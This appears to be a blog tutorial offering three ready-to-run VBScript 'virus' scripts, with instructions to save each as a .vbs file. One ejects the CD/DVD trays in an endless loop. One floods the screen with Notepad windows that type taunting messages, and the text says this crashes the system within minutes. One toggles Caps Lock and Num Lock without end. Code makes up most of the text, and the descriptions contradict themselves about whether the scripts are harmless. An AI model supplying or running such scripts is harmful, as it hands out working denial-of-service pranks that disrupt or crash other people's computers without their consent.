Making Pop-up CD/DvD Drive Virus

PoP-uP  CD/DvD  Dr!Ve  V!rUs

• Effect –>  Low, but very irritating. Not Harmless.
• Coding Platform –>  VBscript.
• Working –>  On Executing, It will continously pop-up uR CD/DVD. It is very irritating and can be stopped only on system shut-down. It is not harmless or destructive.

Just copy the code or type it on notepad and save it as anyname with “.vbs” extension.

**************************************************

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

************************************************************

Making Notepad Tsunam Virus

 NoTePaD  TsuNaM!  V!rUs

• Effect –>  Harmful n Effective, Cause system crash easily.
• Coding Platform –>  VBscript.
• Working –>  On Executing, it opens notepad unlimited no. of times and write a text into notepad automatically. It looks very scary for normal users as it leads to system hang and crash system in few minutes.

Just type the code or copy it on notepad and save it as anyname with “.vbs” extension.

**************************************************

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

WshShell.Run “notepad”
WScript.Sleep 100
WshShell.SendKeys “H”
WScript.Sleep 200
WshShell.SendKeys “e”
WScript.Sleep 200
WshShell.SendKeys “l”
WScript.Sleep 200
WshShell.SendKeys “l”
WScript.Sleep 200
WshShell.SendKeys “o “
WScript.Sleep 200
WshShell.SendKeys ” “
WScript.Sleep 200
WshShell.SendKeys “u”
WScript.Sleep 200

Wshshell.Sendkeys “s”

Wscript.Sleep 200
WshShell.SendKeys “e”
WScript.Sleep 200
WshShell.SendKeys “r”
WScript.Sleep 200
WshShell.SendKeys “.”
WScript.Sleep 200
WshShell.SendKeys “.”
WScript.Sleep 200
WshShell.SendKeys “…”
WScript.Sleep 200
WshShell.SendKeys “{enter}”

WScript.Sleep 200

WshShell.SendKeys “You”

WScript.Sleep 200
WshShell.SendKeys ” Have”
WScript.Sleep 200
WshShell.SendKeys ” Been”
WScript.Sleep 200
WshShell.SendKeys ” Hacked!!!”
WScript.Sleep 200
WshShell.SendKeys ” Now”
WScript.Sleep 200
WshShell.SendKeys ” Just”
WScript.Sleep 200
WshShell.SendKeys ” Taste”
WScript.Sleep 200
WshShell.SendKeys ” What”
WScript.Sleep 200
WshShell.SendKeys ” Virus”
WScript.Sleep 200
WshShell.SendKeys ” can do with uuuuuuuuuuuuu….”
WScript.Sleep 200
WshShell.SendKeys ” {enter}”
WScript.Sleep 200
WshShell.SendKeys “hahahahaha…….”
WScript.Sleep 200
WshShell.Sendkeys ” Now just Look Dumb Head what i will do!!!!!!!”

wscript.sleep 200

wshshell.sendkeys “{enter}”

wscript.sleep 200

wshshell.sendkeys “look”

wscript.sleep 200

wshshell.sendkeys “{enter}”

wscript.sleep 200

wshshell.sendkeys “how”

wscript.sleep 200

wshshell.sendkeys “{enter}”

wscript.sleep 100

wshshell.sendkeys “i”

wscript.sleep 200

wshshell.sendkeys “{enter}”

wscript.sleep 200

wshshell.sendkeys “crash”

wscript.sleep 200

wshshell.sendkeys ” uR”

wscript.sleep 200

wshshell.sendkeys “{enter}”

wscript.sleep 200

wshshell.sendkeys “system”

wscript.sleep 200

loop

**************************************************

Making Dancing Capslock And Numlock Key Virus

DanC!nG   CaPsLocK  N  nUmKeY

• Effect –>  Low, Irritating for normal user.
• Coding Platform –>  VBscript
• Working –>  On executing it will toggle both,  capslock and numkey continously and it becomes very irritating for normal user. This type of code can be used for prank purposes.

Just type the code or copy it on notepad and save it as anyname with “.vbs” extension.  Example  –>  ”ron.vbs”

**************************************************

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

wshshell.sendkeys “{NUMLOCK}”

loop

**************************************************